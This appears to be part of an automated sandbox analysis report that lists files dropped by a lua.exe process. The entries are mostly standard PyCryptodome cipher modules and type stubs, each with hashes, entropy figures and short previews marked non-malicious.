Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............be..be..be...e..be...a..be......be...g..be.Rich.be.................PE..d....j............" .........................................................0............`.........................................`................ ..................."..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\AES.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9791
Entropy (8bit):	4.910332364250953
Encrypted:	false
SSDEEP:	192:dmQHvvK8geSDztF9+hMkRI4H1Futffyi/a1/yRdotfL:sevK9t4Ctfv/aydotfL
MD5:	413EE92CBC43A54E9B9DFA09379F5B84
SHA1:	0218FBFEADB4B894033CBCB3B2095F53C47A1706
SHA-256:	493FCD5F893AAB2907C81EBE396630588F1AEAE142B569E40803688CF401CE01
SHA-512:	8AB6F47E4AE261625CEEECE3DE67EF593C6F9AA543BFDCE208AA282016CA84D2D11F2EDDD76594F6B8AB88A5CE796E72D95FE4C57E9C9AD8CF98A0F963C8886B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	# -- coding: utf-8 --..#..# Cipher/AES.py : AES..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# =====================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\AES.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1390
Entropy (8bit):	4.8520824268637455
Encrypted:	false
SSDEEP:	24:1RElRp+WJ+YzJ+YVJ+EJ+YpJ+ylJ+YACJ+SJ+sJ+IT3J+OzvgMhGa4MT3DoCLBIb:4p+O+O+s+8+s+w+8+C+0+s5+OrgMhGaW
MD5:	722B3C62A721D30124D6375A823242D7
SHA1:	C0458A332EE1AD1F586FDE2C5FA692D534978601
SHA-256:	BF2D396A026DA450D721D27077FD9E21553DC97A0768801D275EA4FF11D19498
SHA-512:	D204FFEA151C70021FD450BCCB4578AB7238A89123347208102D4FF746259500C64FEE3A3FF6DACC68E45CB33DD9BBE57AAFFC48D49BD38D3F1D1E8EB6198663
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	from typing import Union, Tuple, Optional, Dict....from Crypto.Cipher._mode_ecb import EcbMode..from Crypto.Cipher._mode_cbc import CbcMode..from Crypto.Cipher._mode_cfb import CfbMode..from Crypto.Cipher._mode_ofb import OfbMode..from Crypto.Cipher._mode_ctr import CtrMode..from Crypto.Cipher._mode_openpgp import OpenPgpMode..from Crypto.Cipher._mode_ccm import CcmMode..from Crypto.Cipher._mode_eax import EaxMode..from Crypto.Cipher._mode_gcm import GcmMode..from Crypto.Cipher._mode_siv import SivMode..from Crypto.Cipher._mode_ocb import OcbMode....AESMode = int....MODE_ECB: AESMode..MODE_CBC: AESMode..MODE_CFB: AESMode..MODE_OFB: AESMode..MODE_CTR: AESMode..MODE_OPENPGP: AESMode..MODE_CCM: AESMode..MODE_EAX: AESMode..MODE_GCM: AESMode..MODE_SIV: AESMode..MODE_OCB: AESMode....Buffer = Union[bytes, bytearray, memoryview]....def new(key: Buffer,.. mode: AESMode,.. iv : Buffer = ...,.. IV : Buffer = ...,.. nonce : Buffer = ...,.. segment_size : int = ..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\ARC2.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7185
Entropy (8bit):	4.784592068528299
Encrypted:	false
SSDEEP:	192:dHQHv8gflA2jSkmRFmynD/t4AKdRYotKI:te8g9A82jnD/t4hjYotKI
MD5:	274E46A9AE6D3E092B48A7D1AB3F0D6D
SHA1:	FB5A62548FB3876FF73319D3C92565B64CEA3E69
SHA-256:	CF808C3951F83D9E86799E02A564661D6C372216656DC5D40FD9E19B21D84A53
SHA-512:	D9850D167368AE4B901512D5B3111EF6858E643FCD4DCA7EE2A263ADBB621D3D9729D124A9A9570EB250D63034734663B16770ACC5B2D4F1CEEFB3E47EACD8B3
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/ARC2.py : ARC2.py..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\ARC2.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	989
Entropy (8bit):	4.915216854898192
Encrypted:	false
SSDEEP:	24:1RENp+WJ+YzJ+YVJ+EJ+YpJ+ylJ+PvpB+yE2x/NMT3Do0CLBILBgLB3zb1DoeRH5:Kp+O+O+s+8+s+w+Hx9eTkB2BOBjbFoev
MD5:	8E4682ECCDE917F5B5D1D512D15F00DE
SHA1:	72583A3700EE8B0A5511A33BE22A39F27C53B2FA
SHA-256:	E443624020DAF9F25901D57AB3E563BBD5673DD526C6286155A394A3ECDB3CDC
SHA-512:	3F07163F52A81BF40EC86BA110BDF37FF75799D5007A1354BCFC3068890D87DFF74726BCD0100C536A69CF2E0DB03776985854012964894AD43C9D95BE2F7984
Malicious:	false
Preview:	from typing import Union, Dict, Iterable....from Crypto.Cipher._mode_ecb import EcbMode..from Crypto.Cipher._mode_cbc import CbcMode..from Crypto.Cipher._mode_cfb import CfbMode..from Crypto.Cipher._mode_ofb import OfbMode..from Crypto.Cipher._mode_ctr import CtrMode..from Crypto.Cipher._mode_openpgp import OpenPgpMode..from Crypto.Cipher._mode_eax import EaxMode....ARC2Mode = int....MODE_ECB: ARC2Mode..MODE_CBC: ARC2Mode..MODE_CFB: ARC2Mode..MODE_OFB: ARC2Mode..MODE_CTR: ARC2Mode..MODE_OPENPGP: ARC2Mode..MODE_EAX: ARC2Mode....Buffer = Union[bytes, bytearray, memoryview]....def new(key: Buffer,.. mode: ARC2Mode,.. iv : Buffer = ...,.. IV : Buffer = ...,.. nonce : Buffer = ...,.. segment_size : int = ...,.. mac_len : int = ...,.. initial_value : Union[int, Buffer] = ...,.. counter : Dict = ...) -> \.. Union[EcbMode, CbcMode, CfbMode, OfbMode, CtrMode, OpenPgpMode]: .......block_size: int..key_size: Iterable[int]..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\ARC4.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	5289
Entropy (8bit):	4.728261417917464
Encrypted:	false
SSDEEP:	96:doFQHvo7HtdIUoeGgR2uvi/jqEyExPhO3i:deQHvbGR2uvi/j9xZO3i
MD5:	712918E363F6431E6814BA371E8024D1
SHA1:	E2D183660491B893C11310FDB7B84D2C75E5B464
SHA-256:	8E7C7189986EAAD85A5CC29BF9FEA819E5EB144A449BDCFEE66A5D6FA9738909
SHA-512:	299D6815DC6ACC5B88767A3E2574FB8D9F29713C35481513A9F678DE0A2914D6C34FD1F9E1E385CC1E8A0AC41FEF0A4B89A5A71F141F1C699CA0B156D410EAD5
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/ARC4.py : ARC4..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\ARC4.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	447
Entropy (8bit):	4.889753450972529
Encrypted:	false
SSDEEP:	12:1REYBdvIY3lrMRyDWeXRyc1APyMFq6R5wnZ0R5AomWL7Ry/O:1REUT3lrQFeBFAfnRe+RGorVYO
MD5:	B7606D8DA70ED43039C9ED701FD0095D
SHA1:	28BC5F28009E12F124B621D33F501774A412708B
SHA-256:	3EAB7AEC8BC703309AC4EF1BA54A72C27CCAADC4CC1766FDE956F45417834C7F
SHA-512:	2AEC35D69A535CEA2F045FA7B364D1437F976B48C90B698A5AA8127E603E0B91142C8832A8B9BA2300D252AF647A4B255EBFAB0E6408FBE28FBA920983A5ACBF
Malicious:	false
Preview:	from typing import Any, Union, Iterable....Buffer = Union[bytes, bytearray, memoryview]....class ARC4Cipher:.. block_size: int.. key_size: int.... def __init__(self, key: Buffer, args: Any, *kwargs: Any) -> None: ..... def encrypt(self, plaintext: Buffer) -> bytes: ..... def decrypt(self, ciphertext: Buffer) -> bytes: .......def new(key: Buffer, drop : int = ...) -> ARC4Cipher: .......block_size: int..key_size: Iterable[int]..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\Blowfish.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6123
Entropy (8bit):	4.915681807073174
Encrypted:	false
SSDEEP:	96:doFQHvofgiwZAEuVDYsgiiJsJWkGI9gmJt4qeA//RFWotKj:deQHvogySniiSYkGIOmJt4A/RYotKj
MD5:	C34B138E93044278085C0172B171945A
SHA1:	058CCA453B61AD12F6007A84E1626371EA2E5855
SHA-256:	9E71714F41AD4FC6499B83FF0199D1FF75D73D551A740CFFDC077D13AD930EDF
SHA-512:	39CA5D7161933F6AB86D14877E8E089D3BD11561494079B99C7B56209B074FAE50D31A8BA25760C3309E36BBB216A818ED49084E9479F0B47FEFC4F55BF2EC51
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/Blowfish.py : Blowfish..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===========================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\Blowfish.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1025
Entropy (8bit):	4.902401523272142
Encrypted:	false
SSDEEP:	24:1RENp+WJ+YzJ+YVJ+EJ+YpJ+ylJ+7vEStrFWT3DoRLBILBgLB3zb1DoeRHYO:Kp+O+O+s+8+s+w+DtrFGT8B2BOBjbFoa
MD5:	B59A12EAA3B18B87950C46108FE1110D
SHA1:	8B9A762132F14FD18215E0063037C4D571BE612C
SHA-256:	F2A2D18B01A95549E8017E2EAD0C8BDC84A0CCB5BC6EBB77AA58CCDA4EAA5284
SHA-512:	15D917EF92B4BD4408B87F3F0D74F057CC49D4F282C6648BE6AFC114312CD5924ADC08C1C29FF3C33DD8E4AFFF6436BFCB0F2C05BF3F46E0E9E35908375E6FD8
Malicious:	false
Preview:	from typing import Union, Dict, Iterable....from Crypto.Cipher._mode_ecb import EcbMode..from Crypto.Cipher._mode_cbc import CbcMode..from Crypto.Cipher._mode_cfb import CfbMode..from Crypto.Cipher._mode_ofb import OfbMode..from Crypto.Cipher._mode_ctr import CtrMode..from Crypto.Cipher._mode_openpgp import OpenPgpMode..from Crypto.Cipher._mode_eax import EaxMode....BlowfishMode = int....MODE_ECB: BlowfishMode..MODE_CBC: BlowfishMode..MODE_CFB: BlowfishMode..MODE_OFB: BlowfishMode..MODE_CTR: BlowfishMode..MODE_OPENPGP: BlowfishMode..MODE_EAX: BlowfishMode....Buffer = Union[bytes, bytearray, memoryview]....def new(key: Buffer,.. mode: BlowfishMode,.. iv : Buffer = ...,.. IV : Buffer = ...,.. nonce : Buffer = ...,.. segment_size : int = ...,.. mac_len : int = ...,.. initial_value : Union[int, Buffer] = ...,.. counter : Dict = ...) -> \.. Union[EcbMode, CbcMode, CfbMode, OfbMode, CtrMode, OpenPgpMode]: .......block_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\CAST.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6230
Entropy (8bit):	4.846211484152016
Encrypted:	false
SSDEEP:	192:d2QHvVgdaKSnrF4xkOUBRkUtmz5t4AyRYotKw:UeVgd8n549aW75t4rYotKw
MD5:	1166B892369E19B4220BBC069D9CCABC
SHA1:	F8FFFEFAD392A8D7F79CD644B4D21D771D7458EF
SHA-256:	2E59E547BAF132E8553FC76E9AE2151B48C0610483E54130B0B6262A03F95903
SHA-512:	B99AA9B0F448B24BCF56DEB0BB30B948C1FBAE91692A78A291AE30A1935E4C74204A24925573E3E60777B5033CF748FD7C0D4BEE3E79BCF3D8D5FBBB19E195CE
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/CAST.py : CAST..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ===================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\CAST.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.912967609127088
Encrypted:	false
SSDEEP:	24:1RENp+WJ+YzJ+YVJ+EJ+YpJ+ylJ+TivieL/tixsDOIT3DossmLBILBgLB3zb1DoC:Kp+O+O+s+8+s+w+TQieL/tixsDOMTY8n
MD5:	2D79FAE12F658BFA7000C37FFD2CF3FE
SHA1:	6C3E477FDD9C9AFA7688778B4FC0FD1786FC8EEA
SHA-256:	DB0E805140976970D5F0FBCA834B6293DF12A3635E67FF04FDC91565C1C6D0B9
SHA-512:	2711197F8D95ED111BF94CDD78F6D33C24ADBA0A8BD8B115EBFF2644DE85580B08AFF9779EA54426A537900FACB433FD7841609AAE9508EC7E9E2C5B831073CF
Malicious:	false
Preview:	from typing import Union, Dict, Iterable....from Crypto.Cipher._mode_ecb import EcbMode..from Crypto.Cipher._mode_cbc import CbcMode..from Crypto.Cipher._mode_cfb import CfbMode..from Crypto.Cipher._mode_ofb import OfbMode..from Crypto.Cipher._mode_ctr import CtrMode..from Crypto.Cipher._mode_openpgp import OpenPgpMode..from Crypto.Cipher._mode_eax import EaxMode....CASTMode = int....MODE_ECB: CASTMode..MODE_CBC: CASTMode..MODE_CFB: CASTMode..MODE_OFB: CASTMode..MODE_CTR: CASTMode..MODE_OPENPGP: CASTMode..MODE_EAX: CASTMode....Buffer = Union[bytes, bytearray, memoryview]....def new(key: Buffer,.. mode: CASTMode,.. iv : Buffer = ...,.. IV : Buffer = ...,.. nonce : Buffer = ...,.. segment_size : int = ...,.. mac_len : int = ...,.. initial_value : Union[int, Buffer] = ...,.. counter : Dict = ...) -> \.. Union[EcbMode, CbcMode, CfbMode, OfbMode, CtrMode, OpenPgpMode]: .......block_size: int..key_size : Iterable[int]..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\ChaCha20.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11047
Entropy (8bit):	4.624831308070561
Encrypted:	false
SSDEEP:	192:9qrskrs9t3q/IcwYkUlRGziNzvPpDkzBj/gkcTUjwzgLMZKPOYbCCtrBUpt:0rskrs9VqxwwlCihPix/g5F6PPOqBUt
MD5:	CF6AECA596303373D68A1397189EB7C5
SHA1:	69B657DAF5D5C833175DEF3EB52F15C36DCB4151
SHA-256:	068AE8765DF74153E0D75FE40E422618D9FE4A5016FAAC5D60D1663ABD225B82
SHA-512:	61E705C1448C135FA7EA5765E37730242DC30FE9B9216554AFA6004C92696707007DD827EA54210A31E2A40A9ED455EEF04738D2EADB8AA375D6EBB105B1AFF3
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\ChaCha20.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.825665053518191
Encrypted:	false
SSDEEP:	24:1RE2lT3D/sxQUADnRNne3yFnR3Fne3xodLkxVYBy:rlTe/4vesLeho++w
MD5:	D10B06369227E9D35FF054F98AD330E4
SHA1:	F132BD147812586FFD64950065646478CB5756CF
SHA-256:	D8B74845D5EA435B0441BA413B7D84270BBA29F6BDE288A7655BB37C2EC1C821
SHA-512:	640C6BD95539FF187DBC0218C7204BBB0EDCA412FDBB082BB1AB364E117327B15B1FA1B7CBC5B0E04042427E023448D5ED07C911A0F1D8CEFD0A577B6EAAB342
Malicious:	false
Preview:	from typing import Union, overload....Buffer = Union[bytes, bytearray, memoryview]....def _HChaCha20(key: Buffer, nonce: Buffer) -> bytearray: .......class ChaCha20Cipher:.. block_size: int.. nonce: bytes.... def __init__(self, key: Buffer, nonce: Buffer) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... def seek(self, position: int) -> None: .......def new(key: Buffer, nonce: Buffer = ...) -> ChaCha20Cipher: .......block_size: int..key_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\ChaCha20_Poly1305.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11865
Entropy (8bit):	4.94280357870418
Encrypted:	false
SSDEEP:	192:0qrskrs9t3q/IIJOqiEij/Rnae9XR18psd6agIoK2Xt:zrskrs9VqViTd/XR1iWh6t
MD5:	23161FB81EF4F8D13DBDBC3414BBEDC8
SHA1:	CF34274D92FF90154A030F35A082838FE4E0179A
SHA-256:	F9AC5471B762339307B3E64E2D3B0E5F0822842053B3CD7327DFB9FE2B6F57AC
SHA-512:	B7E21389B20E380A8194BB7C4997D3620D10C7A2ECB7AE91FFB10AC62AF810D3A711196B7E753795DE12AC63C9D462AFFAB7CE02FA7D7D58D9CDEE06290F4EDB
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2018, Helder Eijs <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\ChaCha20_Poly1305.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	4.841914448132316
Encrypted:	false
SSDEEP:	24:1RElQlT3yUA0nRNne3yFnR3Fne3TP/Wwn90nf5GodLvVYBy:RlCUJvesLeiwanoov+w
MD5:	09F38B40B711EE9B54DBD90F335FF888
SHA1:	024DE17D51BF6607EA8F62097A3D994C4965DFFA
SHA-256:	22200435563CDA393FAE4C8183FEA5ED4E20BE7A193BC51360DF06B5D3B253EB
SHA-512:	5C1878BC3496CD82492F6DC1BB07B953430EE1DC13F2EB5202D9C98334E8255DB7422199339C1CA82C4308584946CEC768C0A38599D5D2A107C9050EEE528495
Malicious:	false
Preview:	from typing import Union, Tuple, overload....Buffer = Union[bytes, bytearray, memoryview]....class ChaCha20Poly1305Cipher:.. nonce: bytes.... def __init__(self, key: Buffer, nonce: Buffer) -> None: ..... def update(self, data: Buffer) -> None: ..... @overload.. def encrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def encrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... @overload.. def decrypt(self, plaintext: Buffer) -> bytes: ..... @overload.. def decrypt(self, plaintext: Buffer, output: Union[bytearray, memoryview]) -> None: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def verify(self, received_mac_tag: Buffer) -> None: ..... def hexverify(self, received_mac_tag: str) -> None: ..... def encrypt_and_digest(self, plaintext: Buffer) -> Tuple[bytes, bytes]: ..... def decrypt_and_verify(self, ciphertext: Buffer, received_mac_tag: Buffer) -> bytes: .......def new(key:

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\DES.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	6105
Entropy (8bit):	4.865470874769693
Encrypted:	false
SSDEEP:	96:dOFQHvotgiwHCXjG6DH5K0kmIbU6Ct4qeAYZRFWotK0:dcQHv2gUqC5K0kmIct4NZRYotK0
MD5:	1B182D8CD016EDC5F53015A433BE05D5
SHA1:	531C8DB19CDA7EDEE5B45B83D0C309F4EA65C1D5
SHA-256:	BAE52D7A7D2CD509D466156DC2878D7E4194BB304A8CB555F353EC00108C9186
SHA-512:	3D08AF59AA18156E5086E061BBDDD3E7E321A5EB98B1EFE4CCE56D7CA668CDFD167ECEF8F42A66FB6450797F21A6A21841FE24A606B0F1F959375CA6F4279227
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# Cipher/DES.py : DES..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# =====================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\DES.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	970
Entropy (8bit):	4.869474362744328
Encrypted:	false
SSDEEP:	24:1RENp+WJ+YzJ+YVJ+EJ+YpJ+ylJ+Aiv7Hoc6iTD3IT3DoumLBILBgLB3zb1DoeRz:Kp+O+O+s+8+s+w+H7XcTGB2BOBjbFoe9
MD5:	46D2C3B532E007A92F046EB910D8156D
SHA1:	55C8BE17E79C1DF4AD8BA1EADA179C9CDA16CE3C
SHA-256:	1304BBE274BBCBBBD94B68E1F3067ECBFC8034C73BEA624AD9C23B1B66F5F4A3
SHA-512:	1BB5BABD290BD484C5BDA829ECB1D6AFABBC1DD65425DA4995052C6904E6B0A5EA890DD7177E1EE55628FA8562CA5799889A7F053B4C7BA03D7DD05618C425C9
Malicious:	false
Preview:	from typing import Union, Dict, Iterable....from Crypto.Cipher._mode_ecb import EcbMode..from Crypto.Cipher._mode_cbc import CbcMode..from Crypto.Cipher._mode_cfb import CfbMode..from Crypto.Cipher._mode_ofb import OfbMode..from Crypto.Cipher._mode_ctr import CtrMode..from Crypto.Cipher._mode_openpgp import OpenPgpMode..from Crypto.Cipher._mode_eax import EaxMode....DESMode = int....MODE_ECB: DESMode..MODE_CBC: DESMode..MODE_CFB: DESMode..MODE_OFB: DESMode..MODE_CTR: DESMode..MODE_OPENPGP: DESMode..MODE_EAX: DESMode....Buffer = Union[bytes, bytearray, memoryview]....def new(key: Buffer,.. mode: DESMode,.. iv : Buffer = ...,.. IV : Buffer = ...,.. nonce : Buffer = ...,.. segment_size : int = ...,.. mac_len : int = ...,.. initial_value : Union[int, Buffer] = ...,.. counter : Dict = ...) -> \.. Union[EcbMode, CbcMode, CfbMode, OfbMode, CtrMode, OpenPgpMode]: .......block_size: int..key_size: int..

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\DES3.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7112
Entropy (8bit):	4.8687640980714715
Encrypted:	false
SSDEEP:	192:dKQHvCgthz1GPoiRxwKIUK9t4A1zRYotKa:YeCgHAhRn9K9t42NYotKa
MD5:	44204A7CBBF99E82EB31B7F746B43AB3
